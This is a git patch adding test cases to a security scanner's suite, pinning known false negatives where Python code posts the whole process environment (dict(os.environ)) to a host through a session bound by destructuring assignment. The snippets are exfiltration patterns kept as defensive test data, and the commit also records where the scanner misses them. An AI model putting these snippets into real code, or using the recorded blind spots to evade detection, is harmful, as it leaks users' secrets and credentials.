From 50cd235a748398bf279f75b0b3e2c521b51471bb Mon Sep 17 00:00:00 2001 From: Jay0130-a <3421906768@qq.com> Date: Mon, 19 Oct 2026 11:03:46 +0800 Subject: [PATCH] test(skillscan): pin the destructuring-target instance-client false negatives (#4296) (#6982) * test(skillscan): pin the destructuring-target instance-client false negatives (#4296) * test(skillscan): drop the dangling case-number citation --------- Co-authored-by: Jay0130-a Co-authored-by: Jay0130-a <309071492+Jay0130-a@users.noreply.github.com> --- backend/tests/test_skillscan_native.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/backend/tests/test_skillscan_native.py b/backend/tests/test_skillscan_native.py index bf2b3bff55..008b6cf03d 100644 --- a/backend/tests/test_skillscan_native.py +++ b/backend/tests/test_skillscan_native.py @@ -1469,6 +1469,11 @@ def test_python_import_over_a_live_handle_drops_it(tmp_path: Path) -> None: "import os\nimport requests\n\nsession = requests.Session()\nout = {}\nout[session.post(host, json=dict(os.environ))] = 1\n", # Annotation evaluation varies by scope, future flags, and Python version, so it is skipped. "import os\nimport requests\n\nsession = requests.Session()\ndef annotated(value: session.post(host, json=dict(os.environ))):\n pass\n", + # Sinks reached through a name bound by a destructuring target (issue #4296): the + # simple-name model reads the target's elements for bindings to drop but never records the + # values they bind, so the handle the first element really receives is not carried forward. + "import os\nimport requests\n\ns, other = requests.Session(), config\ns.post(host, json=dict(os.environ))\n", + "import os\nimport requests\n\n[s, other] = [requests.Session(), config]\ns.post(host, json=dict(os.environ))\n", ], ) def test_python_declared_false_negatives_stay_unreported(tmp_path: Path, source: str) -> None: